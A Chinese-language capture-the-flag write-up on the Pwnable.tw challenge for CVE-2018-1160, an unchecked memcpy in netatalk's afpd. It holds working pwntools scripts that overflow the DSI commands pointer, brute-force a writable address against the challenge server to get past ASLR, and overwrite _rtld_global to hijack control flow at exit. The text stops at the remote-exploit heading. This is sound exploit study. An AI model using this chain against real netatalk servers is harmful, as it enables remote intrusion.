和徐老一起学Pwn 之 Pwnable.tw CVE-2018-1160

和徐老一起完成,HITCON2019时为netatalk的1day,漏洞是由于memcpy长度没限制导致的越界写,可覆盖关键变量,最终可导致有一次任意地址写,主要挑战为绕过ASLR。由于程序通过fork出一个子进程来处理每一个连接,所以在任意地址写时,可从低到高逐字节的覆盖并爆破原本的合法地址。比较麻烦的是,因为没有和Pwnable远程题目一模一样的环境,所以从合法地址到libc基址仍需要再爆破一次。最后通过覆写位于ld.so数据段_rtld_global结构体,并在程序超时退出时(远程tcp close后需要三分钟),完成控制流劫持并反弹shell。

简介

这个洞是2018年被发现,2019年被用到了HITCON Quals上,后又被收录到Pwnable.tw。所以主要有以下三部分文章:

hitcon相关:

Pwnable相关:

以上文章写过的我基本就简写了,补充些分析过程以及做题细节。

分析

漏洞

题目给了二进制、配置文件、需要的运行库,所以不需要编译以及安装其他依赖即可运行。

源码:https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/

主要目标二进制是:afpd、libatalk.so.18,他们在源码中的路径是:

  • /netatalk-3.1.11/etc/afpd/
  • /netatalk-3.1.11/libatalk/

漏洞点在 /netatalk-3.1.11/libatalk/dsi/dsi_opensess.cdsi_opensession 函数中的 memcpy

/* /netatalk-3.1.11/libatalk/dsi/dsi_opensess.c */

void dsi_opensession(DSI *dsi)
{
  ...
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);
  ...

其中memcpy的长度参数 dsi->commands[i] 由外部传入,且没检查大小,导致可溢出到DSI结构体中attn_quantum的后续成员。

/* /netatalk-3.1.11/include/atalk/dsi.h */

#define DSI_DATASIZ       65536

typedef struct DSI {
    ...
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

但可见成员 commands 的类型为uint8_t*,所以memcpy的最大长度是0xff。并且由于 DSI_DATASIZ 为65535,所以溢出部分data后就无法向后溢出了,故最终只能溢出如上这些成员变量。

交互

开始看这个memcpy的参数一头雾水,为啥拷贝的源地址,和长度都与 dsi->commands 相关:

switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

而且开头还有个switch里++,越看越费解。所以首先我应该知道dsi是个啥。在源码中没有查到dsi全称,然后发现漏洞原文中有wireshark的截图,并且可以看到wireshark支持解析这个协议,那应该是个挺标准的协议。Google搜索 dsi_opensession protocol 即可搜到:Data Stream Interface,对照其协议格式,和漏洞PoC:

image

发现,PoC中的header就是符合dsi协议的字段,协议中的Payload就是PoC中的commands,可看到commands的构成是:

commands = "\x01"   # DSIOPT_ATTNQUANT 选项的值
commands += "\x80"  # 数据长度
commands += "\xaa" * 0x80

再对应memcpy,基本就能看明白了:

switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
    memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

其中DSIOPT_ATTNQUANT为0x1:

/* /netatalk-3.1.11/include/atalk/dsi.h */

#define DSIOPT_ATTNQUANT 0x01   /* attention quantum */

所以memcpy就是从commands数据中按顺序解析出三个元素:功能码,数据长度,数据载荷。所以,也就是由于拷贝的需要的两个参数是揉在一段数据里,并且没有变量名标识,导致看起来比较费解:

commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte)

故最终交互,就是构造dsi数据包,并给发送给目标的tcp端口。尝试溢出server_quantum,这个字段可在回包中收到:

from pwn import *
context(endian='big',log_level='debug')
io = remote("chall.pwnable.tw",10002)

cmd  = b'\x01'+ p8(0xc)+ b'a'*0xc
dsi  = b'\x00\x04\x00\x01' 
dsi += p32(0)
dsi += p32(len(cmd)) 
dsi += p32(0)
dsi += cmd

io.send(dsi)
io.recv()

测试的确可以收到4个a:

   python3 exp.py
[+] Opening connection to chall.pwnable.tw on port 10002: Done
[DEBUG] Sent 0x1e bytes:
    00000000  00 04 00 01  00 00 00 00  00 00 00 0e  00 00 00 00  │····│····│····│····│
    00000010  01 0c 61 61  61 61 61 61  61 61 61 61  61 61        │··aaaaaaaaaaaa
    0000001e
[DEBUG] Received 0x1c bytes:
    00000000  01 04 00 01  00 00 00 00  00 00 00 0c  00 00 00 00  │····│····│····│····│
    00000010  00 04 61 61  61 61 02 04  00 00 00 80               │··aaaa··│····│
    0000001c
[*] Closed connection to chall.pwnable.tw port 10002

如果想看到清晰的协议格式,可以用wireshark,但因为端口不是协议默认,故需要手动让其识别:

image

调试

上面的交互的确看起来是触发了漏洞并覆盖了变量,不过想看到内存破坏还是得gdb调试。首先本地启动目标程,题目给的libc是2.27,所以使用ubuntu18.04的虚拟机:

  LD_PRELOAD="./libatalk.so.18"  ./afpd -d -F ./afp.conf

然后检查一下端口情况,成功运行:

  sudo netstat -pantu | grep 5566
tcp6    0    0 :::5566     :::*    LISTEN     123345/./afpd    

由于我们每次攻击的是fork出来的子进程,所以需要让gdb跟着子进程:

  sudo gdb --pid 123345 -q

gef  set follow-fork-mode child
gef  c

然后打一发会引发内存破坏的PoC:

from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)

cmd  = b'\x01'+ p8(0x80)+ b'a'*0x80
dsi  = b'\x00\x04\x00\x01' 
dsi += p32(0)
dsi += p32(len(cmd)) 
dsi += p32(0)
dsi += cmd

io.send(dsi)
io.recv()

gdb窗口成功进入子进程并崩溃在dsi_opensession中:

gef  c
Continuing.
[New process 123552]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f863b8e7740 (LWP 123552)]
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x61616161        
$rbx   : 0x0000563fcd14df00    0x0000000000000000
$rcx   : 0x6161616161616161 ("aaaaaaaa"?)
$rdx   : 0x0               
$rsp   : 0x00007ffce77c8840    0x0000000000000000
$rbp   : 0x0000563fcd14df00    0x0000000000000000
$rsi   : 0x00007f863b7e6092    0x0000000000000000
$rdi   : 0x0000563fcd14e658    0x0000000000000000
$rip   : 0x00007f863b486fbb    <dsi_opensession+139> movzx eax, BYTE PTR [rcx+r9*1]
$r8    : 0x0000563fcd14e5d8    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$r9    : 0x1               
$r10   : 0x25              
$r11   : 0x293             
$r12   : 0x0000563fcd14a8b0    0x0000563fcd14a9f0    0x0000000000000000
$r13   : 0x1e              
$r14   : 0x00007ffce77c8940    0x0000000000000000
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffce77c8840+0x0000: 0x0000000000000000	  $rsp
0x00007ffce77c8848+0x0008: 0x00007f863b486c63    <dsi_getsession+467> mov QWORD PTR [r14], 0x0
0x00007ffce77c8850+0x0010: 0x0000000000000000
0x00007ffce77c8858+0x0018: 0x0000000600000005
0x00007ffce77c8860+0x0020: 0x0000000000000000
0x00007ffce77c8868+0x0028: 0x0000000000000000
0x00007ffce77c8870+0x0030: 0x0000000000000000
0x00007ffce77c8878+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f863b486fad <dsi_opensession+125> mov    eax, DWORD PTR [rbx+0x6d8]
   0x7f863b486fb3 <dsi_opensession+131> bswap  eax
   0x7f863b486fb5 <dsi_opensession+133> mov    DWORD PTR [rbx+0x6d8], eax
  0x7f863b486fbb <dsi_opensession+139> movzx  eax, BYTE PTR [rcx+r9*1]
   0x7f863b486fc0 <dsi_opensession+144> lea    esi, [rdx+rax*1+0x2]
   0x7f863b486fc4 <dsi_opensession+148> cmp    rsi, QWORD PTR [rbx+0x106f8]
   0x7f863b486fcb <dsi_opensession+155> mov    rdx, rsi
   0x7f863b486fce <dsi_opensession+158> jb     0x7f863b486f80 <dsi_opensession+80>
   0x7f863b486fd0 <dsi_opensession+160> mov    QWORD PTR [rbx+0x106f8], 0xc
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7f863b486fbb in dsi_opensession (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f863b486fbb → dsi_opensession()
[#1] 0x7f863b486c63 → dsi_getsession()
[#2] 0x563fcc883645 → main()
───────────────────────────────────────────────────────────────────────────────────────────
0x00007f863b486fbb in dsi_opensession () from ./libatalk.so.18
gef

死因很明显,对rcx(0x6161616161616161)这个非法地址解引用了。接下来定位一下我们覆盖的目标结构体在哪:

from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)

cmd  = b'\x01'+ p8(0xc)+ b'a'*0x8+'xuan'
dsi  = b'\x00\x04\x00\x01' 
dsi += p32(0)
dsi += p32(len(cmd)) 
dsi += p32(0)
dsi += cmd

io.send(dsi)
io.recv()

由于父进程不会死,所以很方便,还是原来的命令,断点直接打在刚才死的位置,打完exp后成功断下:

  sudo gdb --pid 123345 -q
gef  set follow-fork-mode child
gef  b * 0x7f863b486fbb
gef  c
Continuing.
[New process 123664]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Switching to Thread 0x7f863b8e7740 (LWP 123664)]

Thread 2.1 "afpd" hit Breakpoint 1, 0x00007f863b486fbb in dsi_opensession () from ./libatalk.so.18

全局搜索特征串xuan,分析后,rdi寄存器的值,也即0x563fcd14e5e0,就是结构中server_quantum的位置:

gef  grep xuan
[+] Searching 'xuan' in memory
[+] In '[heap]'(0x563fcd12c000-0x563fcd16e000), permission=rw-
  0x563fcd14e5e0 - 0x563fcd14e5e4     "xuan" 
[+] In (0x7f863b7e6000-0x7f863b8e7000), permission=rw-
  0x7f863b7e601a - 0x7f863b7e601e     "xuan" 

gef  x /20gx 0x563fcd14e5e0
0x563fcd14e5e0:	0x000100006e617578	0x00007f863b7e6010
0x563fcd14e5f0:	0x0000000000000000	0x0000000000000000
0x563fcd14e600:	0x0000000000000000	0x0000000000000000

对应结构体:

/* /netatalk-3.1.11/include/atalk/dsi.h */

#define DSI_DATASIZ       65536

typedef struct DSI {
    ...
    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */

故位于0x563fcd14e5e80x00007f863b7e6010就是commands,根据程序内存布局,梳理一下变量:

...
0x0000563fcc879000 0x0000563fcc8bb000 0x0000000000000000 r-x /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccaba000 0x0000563fccabc000 0x0000000000041000 r-- /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccabc000 0x0000563fccabf000 0x0000000000043000 rw- /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccabf000 0x0000563fccade000 0x0000000000000000 rw- 
0x0000563fcd12c000 0x0000563fcd16e000 0x0000000000000000 rw- [heap]
0x00007f86354f5000 0x00007f86360f6000 0x0000000000000000 rw- 
...
0x00007f863b6ef000 0x00007f863b718000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b7e6000 0x00007f863b8e7000 0x0000000000000000 rw- 
0x00007f863b8e7000 0x00007f863b8f8000 0x0000000000000000 rw- 
0x00007f863b916000 0x00007f863b918000 0x0000000000000000 rw- 
0x00007f863b918000 0x00007f863b919000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b919000 0x00007f863b91a000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b91a000 0x00007f863b91b000 0x0000000000000000 rw- 
...
  • dsi结构体,其中成员位于0x563fcd14e5e0,这是堆段
  • commands指向的内存为0x7f863b7e6010,位于ld.so后面的数据段,目前不详这段内存是啥

所以本次memcpy的漏洞不能触发堆溢出,能想到,主要的玩法就在这个能被覆盖的commands指针上了。

源码

要想彻底明白漏洞本身以及利用方法,自然少不了看源码,最主要的是要看明白被覆盖变量的内存位置,用法,以及生命周期。这里简略的记录了一些动作的调用路径:

连接初始化

[afpd] main -> configinit -> dsi_init

[libatalk] dsi_init -> dsi_tcp_init ->  dsi->proto_open = dsi_tcp_open

连接

[afpd] main -> dsi_start -> dsi_getsession

[libatalk] dsi_getsession  -> dsi->proto_open -> dsi_tcp_open -> fork

bug

[afpd] main -> dsi_start -> dsi_getsession

[libatalk] dsi_getsession -> dsi_opensession (bug!!!)

dsi->commands 初始化

[afpd] main -> dsi_start -> dsi_getsession

[libatalk] dsi_getsession  -> dsi->proto_open -> dsi_tcp_open ->

           dsi_init_buffer -> dsi->commands = malloc(dsi->server_quantum)

// 故一个tcp连接init一次dsi->commands

// 值得注意的是
// 由于server_quantum被初始化为0x100000,为1024k,大于128k
// 故对dsi->commands初始化时指向的malloc内存由mmap分配
// 这就解释了上文commands指向0x7f863b7e6010的原因

exploit

// dsi_stream_write:    just write a bunch of bytes.
// dsi_stream_read:     just read a bunch of bytes.
// dsi_stream_send:     send a DSI header + data.
// dsi_stream_receive:  read a DSI header + data.


[afpd] main -> dsi_start -> afp_over_dsi -> dsi_stream_receive

[libatalk] dsi_stream_receive -> dsi_stream_read(dsi, dsi->commands, dsi->cmdlen)

// 故修改完commands指针后,在本次tcp中再发一个包就可以任意地址写了,数据内容在dsi中的payload,不包括header

解题

速度

由于连接题目远程很慢,根据题目信息,其服务器是linode提供的,检查ip在日本东京,所以如果使用相同机房的服务器进行解题,则会快很多。买与题目内核版本相同的日本的服务器,测试速度:

root@localhost:~# ping chall.pwnable.tw
PING chall.pwnable.tw 139.162.123.119 56(84) bytes of data.
64 bytes from  139.162.123.119: icmp_seq=1 ttl=63 time=0.801 ms
64 bytes from  139.162.123.119: icmp_seq=2 ttl=63 time=1.03 ms
64 bytes from  139.162.123.119: icmp_seq=3 ttl=63 time=0.853 ms
64 bytes from  139.162.123.119: icmp_seq=4 ttl=63 time=0.743 ms
64 bytes from  139.162.123.119: icmp_seq=5 ttl=63 time=0.622 ms

爆破

以前面的数据为例,commands指向0x7f863b7e6010,根据观察可知,这个地址和动态库的地址很像,至少7f863,这两个半字节是完全一致的:

0x00007f863aa45000 0x00007f863ac2c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ac2c000 0x00007f863ae2c000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae2c000 0x00007f863ae30000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae30000 0x00007f863ae32000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae32000 0x00007f863ae36000 0x0000000000000000 rw- 
0x00007f863ae36000 0x00007f863ae50000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863ae50000 0x00007f863b04f000 0x000000000001a000 --- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b04f000 0x00007f863b050000 0x0000000000019000 r-- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b050000 0x00007f863b051000 0x000000000001a000 rw- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b051000 0x00007f863b055000 0x0000000000000000 rw- 
0x00007f863b055000 0x00007f863b05c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b05c000 0x00007f863b25b000 0x0000000000007000 --- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25b000 0x00007f863b25c000 0x0000000000006000 r-- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25c000 0x00007f863b25d000 0x0000000000007000 rw- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25d000 0x00007f863b260000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b260000 0x00007f863b45f000 0x0000000000003000 --- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b45f000 0x00007f863b460000 0x0000000000002000 r-- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b460000 0x00007f863b461000 0x0000000000003000 rw- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b461000 0x00007f863b4df000 0x0000000000000000 r-x /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b4df000 0x00007f863b6de000 0x000000000007e000 --- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6de000 0x00007f863b6df000 0x000000000007d000 r-- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6df000 0x00007f863b6e1000 0x000000000007e000 rw- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6e1000 0x00007f863b6ef000 0x0000000000000000 rw- 
0x00007f863b6ef000 0x00007f863b718000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b7e6000 0x00007f863b8e7000 0x0000000000000000 rw- 
0x00007f863b8e7000 0x00007f863b8f8000 0x0000000000000000 rw- 
0x00007f863b916000 0x00007f863b918000 0x0000000000000000 rw- 
0x00007f863b918000 0x00007f863b919000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b919000 0x00007f863b91a000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so

具体分析一下:

0x7f863b7e6010 // commands地址
0x7f8630000000 // 有效高位两个半字节地址
0x7f863????000 // 所有段的基址都是4k页对齐

则如果能拿到一个有效的高两个半字节,最差的情况爆破65536次,必能爆出libc的基址,故首先爆破一个可写的合法地址:

设计了中间第3-6个字节从0xff向0x00爆破,其余从0x00向0xff爆破的策略,在本地能比较准的拿到mmap的地址

from pwn import *
context(endian='big')

leak_addr = b''
for j in range(8):
    for i in range(256):
        if(j>1 and j<6): i = 255 - i
        io = remote("chall.pwnable.tw",10002)
        payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak_addr + p8(i)
        dsi  = b'\x00\x04\x00\x01'
        dsi += p32(0)
        dsi += p32(len(payload))
        dsi += p32(0)
        dsi += payload
        io.send(dsi)
        try:
            a = io.recv()
            leak_addr += p8(i)
            log.success(str(hex(i)))
            io.close()
            break
        except:
            io.close()
log.success(hex(u64(leak_addr,endian='little')))

2021.11.6 对 pwnable.tw 爆破的结果为:

[*] Closed connection to chall.pwnable.tw port 10002
[+] 0x7fa9bcc90000

根据本地结果,可以发现mmap地址与libc相隔并不远,如果认为这个地址是mmap的地址,那么libc地址应该比他小,因为这个mmap在ld.so后面,所以对libc的爆破为:

leak_addr = 0x7fa9bcc90000
for i in range(0x0000000,0xffff000,0x1000):
    libc_addr = leak_addr - i 

于是遇到了问题,你怎么知道你libc爆破对了?所以需要先确立打法,然后爆破libc并攻击,直到打成为止。

利用

任意地址写

所以先在本地搞一下任意地址写,直接测试对爆破出来的合法地址写:

from pwn import *
context(endian='little')

ip   = "127.0.0.1"
port = 5566

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

input()
io = remote(ip,port)
aaw(io,leak_addr,b"xuanxuan")

当打印合法地址时,此时会由于input卡住,留出gdb的时间:

[*] Closed connection to 127.0.0.1 port 5566
[+] Opening connection to 127.0.0.1 on port 5566: Done
[+] 0x0
[*] Closed connection to 127.0.0.1 port 5566
[+] 0x7f863b8f6000

开gdb:

  sudo gdb --pid 123345 -q

gef  set follow-fork-mode child
gef  c

然后exp窗口中回车继续执行,gdb进入子进程,由于合法地址,不会崩,故ctrl+c暂停进程,然后查看内存,的确写成了:

gef  x /2s 0x7f863b8f6000
0x7f863b8f6000:	"xuanxuan"
0x7f863b8f6009:	""

但此任意内存写只有一次,因为dsi_getsession在一次tcp连接中只有一次,不过好在这个任意地址写的内容长度可以很大。

_rtld_global

按照官方wp的解法,当有了libc的基址后,是可以写_rtld_global的,打法如下:

要彻底理解_rtld_global的实现还是比较困难的,因为其代码在libc和ld相关的底层函数中,并且写法太trick了…

主要原理就是程序在exit时会调用一个函数指针,这个函数指针以及参数都在_rtld_global这个结构体里,我之前一直以为这个东西,在libc里,这次才发现他在ld.so的数据段里,而这个符号存在于libc的got表中…

.got:00000000003EADE8 _rtld_global_ptr dq offset _rtld_global ; DATA XREF: __libc_start_main+15Fr

还有其他外部符号:

extern:00000000003F0B78 ; Segment type: Externs
extern:00000000003F0B78 ; extern
extern:00000000003F0B78                 extrn _rtld_global      ; DATA XREF: .got:_rtld_global_ptro
extern:00000000003F0B80                 extrn __libc_enable_secure
extern:00000000003F0B80                                         ; DATA XREF: .got:__libc_enable_secure_ptro
extern:00000000003F0B88                 extrn __tls_get_addr:near
extern:00000000003F0B88                                         ; CODE XREF: ___tls_get_addrj
extern:00000000003F0B88                                         ; DATA XREF: .got.plt:off_3EB058o
extern:00000000003F0B90                 extrn _dl_exception_create:near
extern:00000000003F0B90                                         ; CODE XREF: __dl_exception_createj
extern:00000000003F0B90                                         ; DATA XREF: .got.plt:off_3EB080o
extern:00000000003F0B98                 extrn _rtld_global_ro   ; DATA XREF: .got:_rtld_global_ro_ptro
extern:00000000003F0BA0                 extrn __tunable_get_val:near
extern:00000000003F0BA0                                         ; CODE XREF: ___tunable_get_valj
extern:00000000003F0BA0                                         ; DATA XREF: .got.plt:off_3EB0A0o
extern:00000000003F0BA8                 extrn _dl_find_dso_for_object:near
extern:00000000003F0BA8                                         ; CODE XREF: __dl_find_dso_for_objectj
extern:00000000003F0BA8                                         ; DATA XREF: .got.plt:off_3EB0F8o
extern:00000000003F0BB0                 extrn _dl_argv          ; DATA XREF: .got:_dl_argv_ptro
extern:00000000003F0BB8                 extrn _dl_starting_up ; weak
extern:00000000003F0BB8                                         ; DATA XREF: .got:_dl_starting_up_ptro
extern:00000000003F0BB8

所以其实libc基址和_rtld_global的偏移并不固定,之前写的CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理并不准确。经过测试,在系统环境,程序使用的动态库都确定时,其之间的偏移确实固定。也说明,在不管环境版本,以及动态库情况时,仅用libc.so的版本表明其与_rtld_global的偏移是某固定值,这是错误的。比如本题:

gef  vmmap libc-2.27
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007f863aa45000 0x00007f863ac2c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ac2c000 0x00007f863ae2c000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae2c000 0x00007f863ae30000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae30000 0x00007f863ae32000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
gef  p &_rtld_global
$1 = (struct rtld_global *) 0x7f863b919060 <_rtld_global>
gef  p /x 0x7f863b919060-0x00007f863aa45000
$2 = 0xed4060

再测一个helloworld:

gef  vmmap libc-2.27
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
gef  p &_rtld_global
$1 = (struct rtld_global *) 0x7ffff7ffd060 <_rtld_global>
gef  p /x 0x7ffff7ffd060-0x00007ffff79e2000
$2 = 0x61b060

这其中的差异是ld.so和libc.so中间可能还映射了其他的动态链接库,这个策略应该是内核定的,具体就不详了。总之这个打法就是打结构中的两个成员,在libc2.27中其偏移为:

  • 函数指针:_dl_rtld_lock_recursive (_rtld_global+2312)
  • 调用参数:_dl_load_lock (_rtld_global+3840)
gef  p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7f863b919968 <_rtld_global+2312>
gef  p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7f863b919f60 <_rtld_global+3840>
gef  p /x 0x7f863b919f60 - 0x7f863b919968
$3 = 0x5f8

故只要有一次任意地址写大小0x600字节的能力,就能控制流劫持并控制参数。并且在此处控制流劫持时,参数为_dl_load_lock的地址,所以如果是字符串参数,直接打到_dl_load_lock及之后的内存中即可,尝试打一次0xdeadbeef,本地为了方便直接复用之前爆破出的地址,手动算出与libc的偏移,libc与_rtld_global的偏移:

from pwn import *
context(endian='little')

ip   = "127.0.0.1"
port = 5566

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

leak_addr  = 0x7f863b8f6000
libc_addr  = leak_addr - 0xeb1000
rtld       = libc_addr + 0xed4060

io = remote(ip,port)
cmd = b'xuanxuan'
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(0xdeadbeef))

虽然题目说是0秒超时,但gdb进入子进程后并没有直接触发控制流劫持,所以手动ctrl+c将进程停止:

gef  set follow-fork-mode child
gef  c
Continuing.
[New process 3871]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
^C
Thread 2.1 "afpd" received signal SIGINT, Interrupt.
[Switching to Thread 0x7f863b8e7740 (LWP 3871)]

接下来是凯韬教我的大招,使用p,手动在gdb命令行里调函数,成功触发控制流劫持,并控制rdi指向的内容:

gef  p exit(0)

Thread 2.1 "afpd" received signal SIGALRM, Alarm clock.

Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007f863b919060    0x00007f863b91a170    0x0000563fcc879000     jg 0x563fcc879047
$rbx   : 0x00007f863b919060    0x00007f863b91a170    0x0000563fcc879000     jg 0x563fcc879047
$rcx   : 0x1               
$rdx   : 0x00007f863b6ffb40    <_dl_fini+0> push rbp
$rsp   : 0x00007ffce77c8738    0x00007f863b6ffbaf    <_dl_fini+111> mov edx, DWORD PTR [rbx+0x8]
$rbp   : 0x00007ffce77c8790    0x0000000000000000
$rsi   : 0x0               
$rdi   : 0x00007f863b919968    "xuanxuan"
$rip   : 0xdeadbeef        
$r8    : 0x1               
$r9    : 0x0               
$r10   : 0x00007ffce77c8690    0x0000000000000000
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x1               
$r14   : 0x00007f863ae35708    0x0000000000000000
$r15   : 0x00007f863ae31d80    0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffce77c8738+0x0000: 0x00007f863b6ffbaf    <_dl_fini+111> mov edx, DWORD PTR [rbx+0x8]	  $rsp
0x00007ffce77c8740+0x0008: 0x0000000000000000
0x00007ffce77c8748+0x0010: 0x0000000000000000
0x00007ffce77c8750+0x0018: 0x0000000000000000
0x00007ffce77c8758+0x0020: 0x0000000000000000
0x00007ffce77c8760+0x0028: 0x0000000000000000
0x00007ffce77c8768+0x0030: 0x0000000000000001
0x00007ffce77c8770+0x0038: 0x00007f863ae30718    0x00007f863ae31d80    0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ───
0x00000000deadbeef in ?? ()
The program being debugged was signaled while in a function called from GDB.
GDB remains in the frame where the signal was received.
To change this behavior use "set unwindonsignal on".
Evaluation of the expression containing the function
(__GI_exit) will be abandoned.
When the function is done executing, GDB will silently stop.
gef  

所以直接打system和反弹shell的命令就行了,并不用打setcontext。经过测试,本地子进程,将在连接断掉几分钟后退出,超时退出时即可触发exit,进而完成控制流劫持。

远程完整exp

